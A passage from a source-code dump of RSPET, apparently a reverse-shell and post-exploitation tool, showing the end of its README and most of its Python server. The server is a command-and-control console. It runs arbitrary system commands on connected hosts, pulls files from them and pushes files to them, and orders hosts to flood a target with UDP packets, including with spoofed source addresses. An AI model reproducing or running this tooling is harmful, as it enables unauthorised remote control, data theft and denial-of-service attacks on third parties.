Re-introduce multythreading when handling multiple hosts. 115 | - [ ] Make commands available with 'Tab' automatically generated based on loaded Plug-ins. 116 | - [x] ~~Fix logical bug when deleting a client. (Client still shows up on List_Hosts)~~ 117 | - [x] ~~Create comprehensive Plug-in creation guide.~~ 118 | - [ ] Add support for command overridding in server plugins 119 | - [ ] Add dependency support for server plugins 120 | 121 | ## Styleguide 122 | 123 | This project is following [Google's Python Styleguide](https://google.github.io/styleguide/pyguide.html) with a minor variation on the use of whitespaces to align ":" tokens. 124 | 125 | ## Contribution Opportunities 126 | 127 | This project is open for contributors. If you have implemented a new feature, or maybe an improvement to the current code feel free to open a pull request. If you want to suggest a new feature open an issue. Additionally Testers are needed to run a few standard scenarios (and a few of their own maybe) to decrease the chance a bug slips into a new version. Should there be any interest about testing a `beta` branch will be created (where code to be tested will be uploaded) along with a list of scenarios. For a full guide on contribution opportunities and guides check out [the "Contributing" chapter on RSPET's Online Documentation](http://rspet.readthedocs.io/en/latest/contribute/) 128 | 129 | ## Author - Project Owner/Manager 130 | 131 | [panagiks](https://twitter.com/panagiks) 132 | 133 | ## Co-Author 134 | 135 | [dzervas](https://dzervas.gr) -- Code (Server OO-redesign, Server Plug-in system implementation, bug reports, bug fixes) 136 | 137 | ## Contributors 138 | 139 | * [b3mb4m](https://github.com/b3mb4m) -- Code (tab.py and bug fixes) 140 | * [junzy](https://github.com/junzy) -- Docstings (udp_spoof & udp_spoof_send) 141 | * [gxskar](https://github.com/gxskar) -- Documentation (ASCIICAST of RSPET's basic execution) 142 | * [n1zzo](https://github.com/n1zzo) -- Bug Report & Fix (PR [#31](https://github.com/panagiks/RSPET/pull/31)) 143 | 144 | ## License 145 | 146 | MIT 147 | 148 | ## Free Cake 149 | 150 | i. 151 | .7. 152 | .. :v 153 | c: .x 154 | i.:: 155 | : 156 | ..i.. 157 | #MMMMM 158 | QM AM 159 | 9M zM 160 | 6M AM 161 | 2M 2MX#MM@1. 162 | 0M tMMMMMMMMMM; 163 | .X#MMMM ;MMMMMMMMMMMMv 164 | cEMMMMMMMMMU7@MMMMMMMMMMMMM@ 165 | .n@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 166 | MMMMMMMM@@#$BWWB#@@#$WWWQQQWWWWB#@MM. 167 | MM ;M. 168 | $M EM 169 | WMO$@@@@@@@@@@@@@@@@@@@@@@@@@@@@#OMM 170 | #M cM 171 | QM tM 172 | MM CMO 173 | .MMMM oMMMt 174 | 1MO 6MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM iMM 175 | .M1 BM VM ,Mt 176 | 1M @M .............................. WM M6 177 | MM .A8OQWWWWWWWWWWWWWWWWWWWWWWWWWWW0Az2 #M 178 | MM MM. 179 | @MMY vMME 180 | UMMMbi i8MMMt 181 | C@MMMMMbt;;i.......i;XQMMMMMMt 182 | ;ZMMMMMMMMMMMMMMM@A;. 183 | 184 | The Cake is a Lie. But it has been a Year :) 185 | -------------------------------------------------------------------------------- /Server/CLI_state_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/panagiks/RSPET/de4356e40d803a7c224e2c919cac6a2d6c0a330f/Server/CLI_state_diagram.png -------------------------------------------------------------------------------- /Server/CLI_state_diagram_Essentials.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/panagiks/RSPET/de4356e40d803a7c224e2c919cac6a2d6c0a330f/Server/CLI_state_diagram_Essentials.png -------------------------------------------------------------------------------- /Server/Plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/panagiks/RSPET/de4356e40d803a7c224e2c919cac6a2d6c0a330f/Server/Plugins/__init__.py -------------------------------------------------------------------------------- /Server/Plugins/essentials.py: -------------------------------------------------------------------------------- 1 | """ 2 | Plug-in module for RSPET server. Offer functions essential to server. 3 | """ 4 | from __future__ import print_function 5 | from socket import error as sock_error 6 | from Plugins.mount import Plugin, command 7 | 8 | class Essentials(Plugin): 9 | """ 10 | Class expanding Plugin. 11 | """ 12 | 13 | @command("basic", "connected", "multiple") 14 | def help(self, server, args): 15 | """List commands available in current state or provide syntax for a command. 16 | 17 | Help: [command]""" 18 | ret = [None, 0, ""] 19 | if len(args) > 1: 20 | ret[2] = ("Syntax : %s" % self.__server_cmds__["help"].__syntax__) 21 | ret[1] = 1 #Invalid Syntax Error Code 22 | else: 23 | ret[2] = server.help(args) 24 | return ret 25 | 26 | @command("basic") 27 | def list_hosts(self, server, args): 28 | """List all connected hosts.""" 29 | ret = [None, 0, ""] 30 | hosts = server.get_hosts() 31 | if hosts: 32 | ret[2] += "Hosts:" 33 | for i in hosts: 34 | inf = hosts[i].info 35 | con = hosts[i].connection 36 | ret[2] += ("\n[%s] %s:%s %s-%s %s %s" % (i, con["ip"], con["port"], 37 | inf["version"], inf["type"], 38 | inf["systemtype"], 39 | inf["hostname"])) 40 | else: 41 | ret[2] += "No hosts connected to the Server." 42 | return ret 43 | 44 | @command("connected", "multiple") 45 | def list_sel_hosts(self, server, args): 46 | """List selected hosts.""" 47 | ret = [None, 0, ""] 48 | hosts = server.get_selected() 49 | ret[2] += "Selected Hosts:" 50 | for host in hosts: 51 | #tmp = hosts[i] 52 | inf = host.info 53 | con = host.connection 54 | ret[2] += ("\n[%s] %s:%s %s-%s %s %s" % (host.id, con["ip"], con["port"], 55 | inf["version"], inf["type"], 56 | inf["systemtype"], 57 | inf["hostname"])) 58 | return ret 59 | 60 | @command("basic") 61 | def choose_host(self, server, args): 62 | """Select a single host. 63 | 64 | Help: """ 65 | ret = [None, 0, ""] 66 | if len(args) != 1 or not args[0].isdigit(): 67 | ret[2] = ("Syntax : %s" % self.__server_cmds__["choose_host"].__syntax__) 68 | ret[1] = 1 #Invalid Syntax Error Code 69 | else: 70 | ret[1], ret[2] = server.select([args[0]]) 71 | ret[0] = "connected" 72 | return ret 73 | 74 | @command("basic") 75 | def select(self, server, args): 76 | """Select multiple hosts. 77 | 78 | Help: [host ID] [host ID] ...""" 79 | ret = [None, 0, ""] 80 | if len(args) == 0: 81 | ret[2] = ("Syntax : %s" % self.__server_cmds__["select"].__syntax__) 82 | ret[1] = 1 #Invalid Syntax Error Code 83 | else: 84 | ret[1], ret[2] = server.select(args) 85 | ret[0] = "multiple" 86 | return ret 87 | 88 | @command("basic") 89 | def all(self, server, args): 90 | """Select all hosts.""" 91 | ret = [None, 0, ""] 92 | ret[1], ret[2] = server.select(None) 93 | ret[0] = "all" 94 | return ret 95 | 96 | @command("connected", "multiple") 97 | def exit(self, server, args): 98 | """Unselect all hosts.""" 99 | ret = [None, 0, ""] 100 | ret[0] = "basic" 101 | return ret 102 | 103 | @command("basic") 104 | def quit(self, server, args): 105 | """Quit the CLI and terminate the server.""" 106 | ret = [None, 0, ""] 107 | server.quit() 108 | return ret 109 | 110 | @command("connected", "multiple") 111 | def close_connection(self, server, args): 112 | """Kick the selected host(s).""" 113 | ret = [None, 0, ""] 114 | hosts = server.get_selected() 115 | for host in hosts: 116 | try: 117 | host.trash() 118 | except sock_error: 119 | pass 120 | ret[0] = "basic" 121 | return ret 122 | 123 | @command("connected") 124 | def kill(self, server, args): 125 | """Stop host(s) from doing the current task.""" 126 | ret = [None, 0, ""] 127 | hosts = server.get_selected() 128 | for host in hosts: 129 | try: 130 | host.send(host.command_dict['KILL']) 131 | except sock_error: 132 | host.purge() 133 | ret[0] = "basic" 134 | ret[1] = 2 # Socket Error Code 135 | return ret 136 | 137 | @command("connected") 138 | def execute(self, server, args): 139 | """Execute system command on host. 140 | 141 | Help: """ 142 | ret = [None, 0, ""] 143 | host = server.get_selected()[0] 144 | if len(args) == 0: 145 | ret[2] = ("Syntax : %s" % self.__server_cmds__["execute"].__syntax__) 146 | ret[1] = 1 #Invalid Syntax Error Code 147 | else: 148 | command = " ".join(args) 149 | try: 150 | host.send(host.command_dict['command']) 151 | host.send("%013d" % len(command)) 152 | host.send(command) 153 | respsize = int(host.recv(13)) 154 | ret[2] += str(host.recv(respsize)) 155 | except sock_error: 156 | host.purge() 157 | ret[0] = "basic" 158 | ret[1] = 2 # Socket Error Code 159 | return ret 160 | 161 | @command("basic") 162 | def install_plugin(self, server, args): 163 | """Download an official plugin (Install). 164 | 165 | Help: [plugin] [plugin] ...""" 166 | ret = [None, 0, ""] 167 | for plugin in args: 168 | server.install_plugin(plugin) 169 | return ret 170 | 171 | @command("basic") 172 | def load_plugin(self, server, args): 173 | """Load an already installed plugin. 174 | 175 | Help: [plugin] [plugin] ...""" 176 | ret = [None, 0, ""] 177 | for plugin in args: 178 | server.load_plugin(plugin) 179 | return ret 180 | 181 | @command("basic") 182 | def available_plugins(self, server, args): 183 | """List plugins available online.""" 184 | ret = [None, 0, ""] 185 | avail_plug = server.available_plugins() 186 | ret[2] += "Available Plugins:" 187 | for plug in avail_plug: 188 | plug_dct = avail_plug[plug] 189 | ret[2] += ("\n\t%s: %s" % (plug, plug_dct["doc"])) 190 | return ret 191 | 192 | @command("basic") 193 | def installed_plugins(self, server, args): 194 | """List installed plugins.""" 195 | ret = [None, 0, ""] 196 | inst_plug = server.installed_plugins() 197 | ret[2] += "Installed Plugins:" 198 | for plug in inst_plug: 199 | ret[2] += ("\n\t%s: %s" % (plug, inst_plug[plug])) 200 | return ret 201 | 202 | @command("basic") 203 | def loaded_plugins(self, server, args): 204 | """List loaded plugins.""" 205 | ret = [None, 0, ""] 206 | load_plug = server.plugins["loaded"] 207 | ret[2] += "Loaded Plugins:" 208 | for plug in load_plug: 209 | ret[2] += ("\n\t%s: %s" % (plug, load_plug[plug])) 210 | return ret 211 | 212 | @command("connected") 213 | def client_load_plugin(self, server, args): 214 | """Load plugin on remote client.""" 215 | ret = [None,0,""] 216 | hosts = server.get_selected() 217 | if len(args) < 1: 218 | ret[2] = ("Syntax : %s" % self.__server_cmds__["client_install_plugin"].__syntax__) 219 | ret[1] = 1 # Invalid Syntax Error Code 220 | else: 221 | cmd = args[0] 222 | for host in hosts: 223 | try: 224 | host.send(host.command_dict['loadPlugin']) 225 | host.send("%03d" % len(cmd)) 226 | host.send(cmd) 227 | if host.recv(3) == 'pnl': 228 | ret = [4] # RemoteAccessError Code 229 | else: 230 | host.info["plugins"].append(cmd) 231 | except sock_error: 232 | host.purge() 233 | ret[0] = "basic" 234 | ret[1] = 2 # Socket Error Code 235 | return ret 236 | -------------------------------------------------------------------------------- /Server/Plugins/files.py: -------------------------------------------------------------------------------- 1 | """ 2 | Plug-in module for RSPET server. Offer remote file inclusion functions. 3 | """ 4 | from __future__ import print_function 5 | from socket import error as sock_error 6 | from Plugins.mount import Plugin, command 7 | 8 | 9 | class Files(Plugin): 10 | """ 11 | Class expanding Plugin. 12 | """ 13 | 14 | @command("connected") 15 | def pull_file(self, server, args): 16 | """Pull a regular text file from the host. 17 | 18 | Help: [local_file]""" 19 | ret = [None,0,""] 20 | host = server.get_selected()[0] 21 | if len(args) == 0: 22 | ret[2] = ("Syntax : %s" % self.__cmd_help__["Pull_File"]) 23 | ret[1] = 1 # Invalid Syntax Error Code 24 | else: 25 | remote_file = args[0] 26 | try: 27 | local_file = args[1] 28 | except IndexError: 29 | local_file = remote_file 30 | try: 31 | host.send(host.command_dict['sendFile']) 32 | host.send("%03d" % len(remote_file)) 33 | host.send(remote_file) 34 | if host.recv(3) == "fna": 35 | ret[2] += "File does not exist or Access Denied" 36 | ret[1] = 4 # Remote Access Denied Error Code 37 | else: 38 | try: 39 | with open(local_file, "w") as file_obj: 40 | filesize = int(host.recv(13)) 41 | file_obj.write(host.recv(filesize)) 42 | except IOError: 43 | ret[2] += "Cannot create local file" 44 | ret[1] = 3 # Local Access Denied Error Code 45 | except sock_error: 46 | host.purge() 47 | ret[0] = "basic" 48 | ret[1] = 2 # Socket Error Code 49 | return ret 50 | 51 | @command("connected") 52 | def pull_binary(self, server, args): 53 | """Pull a binary file from the host. 54 | 55 | Help: [local_bin]""" 56 | ret = [None,0,""] 57 | host = server.get_selected()[0] 58 | if len(args) == 0: 59 | ret[2] = ("Syntax : %s" % self.__cmd_help__["Pull_Binary"]) 60 | ret[1] = 1 # Invalid Syntax Error Code 61 | else: 62 | remote_file = args[0] 63 | try: 64 | local_file = args[1] 65 | except IndexError: 66 | local_file = remote_file 67 | try: 68 | host.send(host.command_dict['sendBinary']) 69 | host.send("%03d" % len(remote_file)) 70 | host.send(remote_file) 71 | if host.recv(3) == "fna": 72 | ret[2] += "File does not exist or Access Denied" 73 | ret[1] = 4 # Remote Access Denied Error Code 74 | else: 75 | try: 76 | with open(local_file, "wb") as file_obj: 77 | filesize = int(host.recv(13)) 78 | file_obj.write(host.recv(filesize)) 79 | except IOError: 80 | ret[2] += "Cannot create local file" 81 | ret[1] = 3 # Local Access Denied Error Code 82 | except sock_error: 83 | host.purge() 84 | ret[0] = "basic" 85 | ret[1] = 2 # Socket Error Code 86 | return ret 87 | 88 | @command("connected", "multiple") 89 | def make_file(self, server, args): 90 | """Send a regular text file to the host(s). 91 | 92 | Help: [remote_file]""" 93 | ret = [None,0,""] 94 | hosts = server.get_selected() 95 | if len(args) == 0: 96 | ret[2] = ("Syntax : %s" % self.__cmd_help__["Make_File"]) 97 | ret[1] = 1 # Invalid Syntax Error Code 98 | else: 99 | local_file = args[0] 100 | try: 101 | remote_file = args[1] 102 | except IndexError: 103 | remote_file = local_file.split("/")[-1] 104 | for host in hosts: 105 | try: 106 | host.send(host.command_dict['getFile']) 107 | host.send("%03d" % len(remote_file)) 108 | host.send(remote_file) 109 | if host.recv(3) == "fna": 110 | ret[2] += "Access Denied" 111 | ret[1] = 4 # Remote Access Denied Error Code 112 | else: 113 | with open(local_file) as file_obj: 114 | contents = file_obj.read() 115 | host.send("%013d" % len(contents)) 116 | host.send(contents) 117 | host.recv(3) # For future use? 118 | except sock_error: 119 | host.purge() 120 | ret[0] = "basic" 121 | ret[1] = 2 # Socket Error Code 122 | except IOError: 123 | ret[1] = 3 # LocalAccessError Code 124 | ret[2] += "File not found!" 125 | return ret 126 | 127 | @command("connected", "multiple") 128 | def make_binary(self, server, args): 129 | """Send a binary file to the host(s). 130 | 131 | Help: [remote_bin]""" 132 | ret = [None,0,""] 133 | hosts = server.get_selected() 134 | if len(args) == 0: 135 | ret[2] = ("Syntax : %s" % self.__cmd_help__["Make_Binary"]) 136 | ret[1] = 1 # Invalid Syntax Error Code 137 | else: 138 | local_file = args[0] 139 | try: 140 | remote_file = args[1] 141 | except IndexError: 142 | remote_file = local_file.split("/")[-1] 143 | for host in hosts: 144 | try: 145 | host.send(host.command_dict['getBinary']) 146 | host.send("%03d" % len(remote_file)) 147 | host.send(remote_file) 148 | if host.recv(3) == "fna": 149 | ret[2] += "Access Denied" 150 | ret[1] = 4 # Remote Access Denied Error Code 151 | else: 152 | with open(local_file, "rb") as file_obj: 153 | contents = file_obj.read() 154 | host.send("%013d" % len(contents)) 155 | host.send(contents) 156 | host.recv(3) # For future use? 157 | except sock_error: 158 | host.purge() 159 | ret[0] = "basic" 160 | ret[1] = 2 # Socket Error Code 161 | except IOError: 162 | ret[1] = 3 # LocalAccessError Code 163 | ret[2] += "File not found!" 164 | return ret 165 | -------------------------------------------------------------------------------- /Server/Plugins/mount.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | # We use a decorator to mark a function as a command. 4 | # Then, the PluginMount metaclass is called and it 5 | # creates an actual object from each plugin's class 6 | # and saves the methods needed. 7 | 8 | 9 | class PluginMount(type): 10 | def __init__(cls, name, base, attr): 11 | """Called when a Plugin derived class is imported 12 | 13 | Gathers all methods needed from __cmd_states__ to __server_cmds__""" 14 | 15 | tmp = cls() 16 | for fn in cls.__cmd_states__: 17 | # Load the function (if its from the current plugin) and see if 18 | # it's marked. All plugins' commands are saved as function names 19 | # without saving from which plugin they come, so we have to mark 20 | # them and try to load them 21 | try: 22 | f = getattr(tmp, fn) 23 | if f.__is_command__: 24 | cls.__server_cmds__[fn] = f 25 | except AttributeError: 26 | pass 27 | 28 | 29 | # Suggestion: We could throw away the metaclass if we 30 | # use simple functions (and not classes). Not sure if 31 | # that would be useful 32 | class Plugin(object): 33 | """Plugin class (to be extended by plugins)""" 34 | __metaclass__ = PluginMount 35 | 36 | __server_cmds__ = {} 37 | __cmd_states__ = {} 38 | 39 | 40 | # Prepare the regex to parse help 41 | regex = re.compile("(.+)\n\n\s*Help: (.+)", re.M) 42 | 43 | def command(*states): 44 | def decorator(fn): 45 | Plugin.__cmd_states__[fn.__name__] = states 46 | 47 | rmatch = regex.search(fn.__doc__) 48 | fn.__is_command__ = True # Mark function for loading 49 | fn.__help__ = fn.__doc__ 50 | 51 | if rmatch is not None: 52 | fn.__help__ = rmatch.groups()[0] 53 | fn.__syntax__ = rmatch.groups()[1] 54 | 55 | return fn 56 | return decorator 57 | -------------------------------------------------------------------------------- /Server/Plugins/template.py: -------------------------------------------------------------------------------- 1 | from mount import Plugin, command_basic 2 | 3 | class MyPlugin(Plugin): 4 | """Example plugin. You can declare your commands in __server_commands__ or __host_commands__""" 5 | def __init__(self): 6 | """This function is called when the plugin is loaded""" 7 | print("Test plugin loaded!") 8 | 9 | @command_basic 10 | def hello(self, server, args): 11 | """Demo command that prints the arguments that you passed it""" 12 | print("You called hello with args: ", args) 13 | -------------------------------------------------------------------------------- /Server/Plugins/udp.py: -------------------------------------------------------------------------------- 1 | """ 2 | Plug-in module for RSPET server. Offer functions related to udp flooding. 3 | """ 4 | from __future__ import print_function 5 | from socket import error as sock_error 6 | from Plugins.mount import Plugin, command 7 | 8 | class Files(Plugin): 9 | """ 10 | Class expanding Plugin. 11 | """ 12 | 13 | @command("connected", "multiple") 14 | def udp_flood(self, server, args): 15 | """Flood target machine with UDP packets. 16 | 17 | Help: [payload]""" 18 | 19 | ret = [None,0,""] 20 | hosts = server.get_selected() 21 | if len(args) < 2: 22 | ret[2] = ("Syntax : %s" % self.__cmd_help__["UDP_Flood"]) 23 | ret[1] = 1 # Invalid Syntax Error Code 24 | else: 25 | try: 26 | # IP:port:payload 27 | cmd = "%s:%s:%s" % (args[0], args[1], args[2]) 28 | except IndexError: 29 | cmd = "%s:%s:Hi" % (args[0], args[1]) 30 | for host in hosts: 31 | try: 32 | host.send(host.command_dict['udpFlood']) 33 | host.send("%03d" % len(cmd)) 34 | host.send(cmd) 35 | except sock_error: 36 | host.purge() 37 | ret[0] = "basic" 38 | ret[1] = 2 # Socket Error Code 39 | return ret 40 | 41 | @command("connected", "multiple") 42 | def udp_spoof(self, server, args): 43 | """Flood target machine with UDP packets via spoofed ip & port. 44 | 45 | Help: [payload]""" 46 | 47 | ret = [None,0,""] 48 | hosts = server.get_selected() 49 | if len(args) < 4: 50 | ret[2] = ("Syntax : %s" % self.__cmd_help__["UDP_Spoof"]) 51 | ret[1] = 1 # Invalid Syntax Error Code 52 | else: 53 | try: 54 | # IP:port:new_ip:new_port:payload 55 | cmd = "%s:%s:%s:%s:%s" % (args[0], args[1], args[2], args[3], args[4]) 56 | except IndexError: 57 | cmd = "%s:%s:%s:%s:Hi" % (args[0], args[1], args[2], args[3]) 58 | for host in hosts: 59 | try: 60 | host.send(host.command_dict['udpSpoof']) 61 | host.send("%03d" % len(cmd)) 62 | host.send(cmd) 63 | except sock_error: 64 | host.purge() 65 | ret[0] = "basic" 66 | ret[1] = 2 # Socket Error Code 67 | return ret 68 | -------------------------------------------------------------------------------- /Server/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugins": [ 3 | "essentials", 4 | "files", 5 | "udp" 6 | ], 7 | "log": [ 8 | "L", 9 | "E" 10 | ], 11 | "plugin_base_url": "https://rspet.github.io" 12 | } 13 | -------------------------------------------------------------------------------- /Server/rspet_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: UTF-8 -*- 3 | """rspet_server.py: RSPET's Server-side script.""" 4 | from __future__ import print_function 5 | from sys import exit as sysexit 6 | from socket import socket, AF_INET, SOCK_STREAM 7 | from socket import error as sock_error 8 | from socket import SHUT_RDWR 9 | import ssl 10 | from urllib2 import urlopen 11 | import argparse 12 | from datetime import datetime 13 | from thread import start_new_thread 14 | #from threading import Thread # Will bring back at some point 15 | import json 16 | from Plugins.mount import Plugin 17 | import tab 18 | 19 | 20 | __author__ = "Kolokotronis Panagiotis" 21 | __copyright__ = "Copyright 2016, Kolokotronis Panagiotis" 22 | __credits__ = ["Kolokotronis Panagiotis", "Dimitris Zervas"] 23 | __license__ = "MIT" 24 | __version__ = "0.3.1" 25 | __maintainer__ = "Kolokotronis Panagiotis" 26 | 27 | 28 | class ReturnCodes(object): 29 | """Enumeration containing the Return Codes of the Server.""" 30 | OK, InvalidSyntax, SocketError, LocalAccessError, RemoteAccessError = range(5) 31 | OutOfScope, CommandNotFound, InvalidHostID = range(5, 8) 32 | 33 | 34 | class API(object): 35 | """Define RSPET Server's Api.""" 36 | def __init__(self, max_conns, ip, port): 37 | """Initialize Server object.""" 38 | self.server = Server(max_conns, ip, port) 39 | 40 | def call_plugin(self, command, args=[]): 41 | """Call a plugin command""" 42 | try: 43 | ret = self.server.execute(command, args) 44 | except KeyError: 45 | ret = [None, 6, ("%s : No such command." %command)] 46 | return {"transition":ret[0], 47 | "code":ret[1], 48 | "string":ret[2]} 49 | 50 | def select(self, args=[]): 51 | """Manage host selection.""" 52 | ret = self.server.select(args) 53 | return {"transition":None, 54 | "code":ret[0], 55 | "string":ret[1]} 56 | 57 | def help(self): 58 | """ 59 | Temporary. Should interface Server's help when Circular references are removed. 60 | """ 61 | help_dct = {} 62 | 63 | for cmd in Plugin.__server_cmds__: 64 | help_dct[cmd] = {'help':Plugin.__server_cmds__[cmd].__help__, 65 | 'syntax':None, 66 | 'states':Plugin.__cmd_states__[cmd]} 67 | try: 68 | help_dct[cmd]["syntax"] = Plugin.__server_cmds__[cmd].__syntax__ 69 | except AttributeError: 70 | pass 71 | 72 | return help_dct 73 | 74 | def refresh(self): 75 | """Interface Server object's clean function.""" 76 | self.server.clean() 77 | 78 | def get_server(self): 79 | """Return the instance of Server object for low level API.""" 80 | return self.server 81 | 82 | def get_hosts(self): 83 | """Return hosts by ID.""" 84 | hosts = self.server.get_hosts() 85 | ret = {} 86 | for h_id in hosts: 87 | host = hosts[h_id] 88 | ret[h_id] = {"ip":host.get_ip(), 89 | "port":host.get_port(), 90 | "version":str(host.get_version()), 91 | "type":str(host.get_type()), 92 | "system":str(host.get_systemtype()), 93 | "hostname":str(host.get_hostsname())} 94 | return ret 95 | 96 | def quit(self): 97 | """Quit API and Destroy Server instance.""" 98 | self.server.trash() 99 | 100 | 101 | class Console(object): 102 | """Provide command line interface for the server.""" 103 | prompt = "~$ " # Current command prompt. 104 | states = {} # Dictionary that defines available states. 105 | state = "basic" #CLI "entry" state. 106 | 107 | def __init__(self, max_conns, ip, port): 108 | """Start server and initialize states.""" 109 | self.server = Server(max_conns, ip, port) 110 | #If done directly @ Class attributes, Class funcs are not recognised. 111 | Console.states['basic'] = Console._basic 112 | Console.states['connected'] = Console._connected 113 | Console.states['multiple'] = Console._multiple 114 | Console.states['all'] = Console._all 115 | 116 | def trash(self): 117 | """Delete Console.""" 118 | self.server.trash() 119 | 120 | def loop(self): 121 | """Main CLI loop""" 122 | self._logo() 123 | tab.readline_completer(c.title() 124 | for c in Plugin.__cmd_states__.keys()) 125 | 126 | while not self.server.quit_signal: 127 | try: 128 | cmd = raw_input(Console.prompt).lower() 129 | except (KeyboardInterrupt, EOFError): 130 | raise KeyboardInterrupt 131 | 132 | cmdargs = cmd.split(" ") 133 | #"Sanitize" user input by stripping spaces. 134 | cmdargs = [x for x in cmdargs if x != ""] 135 | if cmdargs == []: #Check if command was empty. 136 | continue 137 | cmd = cmdargs[0] 138 | del cmdargs[0] 139 | #Execute command. 140 | try: 141 | if Console.state in Plugin.__cmd_states__[cmd]: 142 | results = self.server.execute(cmd, cmdargs) 143 | else: 144 | results = [None, 5, "Command used out of scope."] 145 | except KeyError: 146 | results = [None, 6, "Command not found. Try help for a list of all commands!"] 147 | tmp_state = results[0] 148 | #return_code = results[1] # Future use ? Also API. 149 | return_string = results[2] 150 | if return_string != "": 151 | print(return_string) 152 | try: 153 | Console.states[tmp_state](self) #State transition. 154 | except KeyError: #If none is returned make no state change. 155 | continue 156 | self.server.trash() 157 | 158 | def _basic(self): 159 | self.server.clean() 160 | self.server.select([]) 161 | Console.prompt = "~$ " 162 | Console.state = "basic" 163 | 164 | def _connected(self): 165 | try: 166 | Console.prompt = "[%s]~$ " % self.server.get_selected()[0].get_ip() 167 | except IndexError: 168 | pass 169 | else: 170 | Console.state = "connected" 171 | 172 | def _multiple(self): 173 | if len(self.server.get_selected()) != 0: 174 | Console.prompt = "[MULTIPLE]~$ " 175 | Console.state = "multiple" 176 | 177 | def _all(self): 178 | if len(self.server.get_selected()) != 0: 179 | Console.prompt = "[ALL]~$ " 180 | Console.state = "multiple" 181 | 182 | def _logo(self): 183 | """Print logo and Authorship/License.""" 184 | print(r"#####################################################") 185 | print(r"__________ _________________________________________") 186 | print(r"\______ \/ _____/\______ \_ _____/\__ ___/") 187 | print(r" | _/\_____ \ | ___/| __)_ | | ") 188 | print(r" | | \/ \ | | | \ | | ") 189 | print(r" |____|_ /_______ / |____| /_______ / |____| ") 190 | print(r" \/ \/ \/ ") 191 | print(r"") 192 | print(r" -Author: panagiks (http://panagiks.xyz)") 193 | print(r" -Co-Author: dzervas (http://dzervas.gr)") 194 | print(r" -Licence: MIT @ panagiks") 195 | print(r"#####################################################") 196 | print(r"") 197 | 198 | 199 | class Server(object): 200 | """Main class of the server. Manage server socket, selections and call plugins.""" 201 | #hosts = [] # List of hosts 202 | #selected = [] # List of selected hosts 203 | #plugins = [] # List of active plugins 204 | #config = {} # Reserved for future use (dynamic plug-in loading). 205 | 206 | def __init__(self, max_conns=5, ip="0.0.0.0", port="9000"): 207 | """Start listening on socket.""" 208 | ################# Replaced with dict named connection. ################# 209 | self.connection = {} 210 | self.connection["ip"] = ip 211 | self.connection["port"] = port 212 | self.connection["max_conns"] = max_conns 213 | self.connection["sock"] = socket(AF_INET, SOCK_STREAM) 214 | ######################################################################## 215 | self.quit_signal = False 216 | ################### Replaced with dict named clients. ################## 217 | self.clients = {} 218 | self.clients["hosts"] = {} # Dictionary of hosts 219 | self.clients["selected"] = [] # List of selected hosts 220 | self.clients["serial"] = 0 221 | ######################################################################## 222 | self.log_opt = [] # List of Letters. Indicates logging level 223 | ################### Replaced with dict named plugins. ################## 224 | self.plugins = {} 225 | self.plugins["loaded"] = {} # List of loaded plugins 226 | self.plugins["installed"] = self.installed_plugins() # List of installed plugins 227 | self.plugins["available"] = {} # List of available plugins 228 | self.plugins["base_url"] = "" 229 | ######################################################################## 230 | 231 | with open("config.json") as json_config: 232 | self.config = json.load(json_config) 233 | self.log_opt = self.config["log"] 234 | self.plugins["base_url"] = self.config["plugin_base_url"] 235 | self._log("L", "Session Start.") 236 | for plugin in self.config["plugins"]: 237 | self.load_plugin(plugin) 238 | try: 239 | self.connection["sock"].bind((self.connection["ip"], 240 | int(self.connection["port"]))) 241 | self.connection["sock"].listen(self.connection["max_conns"]) 242 | self._log("L", "Socket bound @ %s:%s." %(self.connection["ip"], 243 | self.connection["port"])) 244 | except sock_error: 245 | print("Something went wrong during binding & listening") 246 | self._log("E", "Error binding socket @ %s:%s." %(self.connection["ip"], 247 | self.connection["port"])) 248 | sysexit() 249 | start_new_thread(self.loop, ()) 250 | 251 | def trash(self): 252 | """Safely closes all sockets""" 253 | for host in self.clients["hosts"]: 254 | self.clients["hosts"][host].trash() 255 | self.clean() 256 | self.select([]) 257 | self.connection["sock"].close() 258 | 259 | def _log(self, level, action): 260 | if level not in self.log_opt: 261 | return 262 | timestamp = datetime.now() 263 | with open("log.txt", 'a') as logfile: 264 | logfile.write("%s : [%s/%s/%s %s:%s:%s] => %s\n" %(level, 265 | str(timestamp.day), 266 | str(timestamp.month), 267 | str(timestamp.year), 268 | str(timestamp.hour), 269 | str(timestamp.minute), 270 | str(timestamp.second), 271 | action)) 272 | 273 | def loop(self): 274 | """Main server loop for accepting connections. Better call it on its own thread""" 275 | while True: 276 | try: 277 | (csock, (ipaddr, port)) = self.connection["sock"].accept() 278 | self._log("L", "New connection from %s:%s" % (str(ipaddr), 279 | str(port))) 280 | except sock_error: 281 | raise sock_error 282 | try: 283 | csock = ssl.wrap_socket(csock, server_side=True, certfile="server.crt", 284 | keyfile="server.key", 285 | ssl_version=ssl.PROTOCOL_TLSv1_2) 286 | except AttributeError: # All PROTOCOL consts are merged on TLS in Python2.7.13 287 | csock = ssl.wrap_socket(csock, server_side=True, certfile="server.crt", 288 | keyfile="server.key", 289 | ssl_version=ssl.PROTOCOL_TLS) 290 | self.clients["hosts"][str(self.clients["serial"])] = Host(csock, ipaddr, port, 291 | self.clients["serial"]) 292 | self.clients["serial"] += 1 293 | 294 | def load_plugin(self, plugin): 295 | """Asyncronously load a plugin.""" 296 | if plugin in self.plugins["installed"]: 297 | try: 298 | __import__("Plugins.%s" % plugin) 299 | self._log("L", "%s: plugin loaded." % plugin) 300 | self.plugins["loaded"][plugin] = self.plugins["installed"][plugin] 301 | except ImportError: 302 | self._log("E", "%s: plugin failed to load." % plugin) 303 | else: 304 | self._log("E", "%s: plugin not installed" % plugin) 305 | 306 | def install_plugin(self, plugin): 307 | """Install an officially endorsed plugin.""" 308 | official_plugins = self.available_plugins() 309 | try: 310 | plugin_url = self.plugins["base_url"] + official_plugins[plugin]['uri'] 311 | except KeyError: 312 | self._log("E", "%s: plugin does not exist" % plugin) 313 | else: 314 | plugin_obj = urlopen(plugin_url) 315 | plugin_cont = plugin_obj.read() 316 | with open(("Plugins/%s.py" %plugin), 'w') as plugin_file: 317 | plugin_file.write(plugin_cont) 318 | self._log("L", 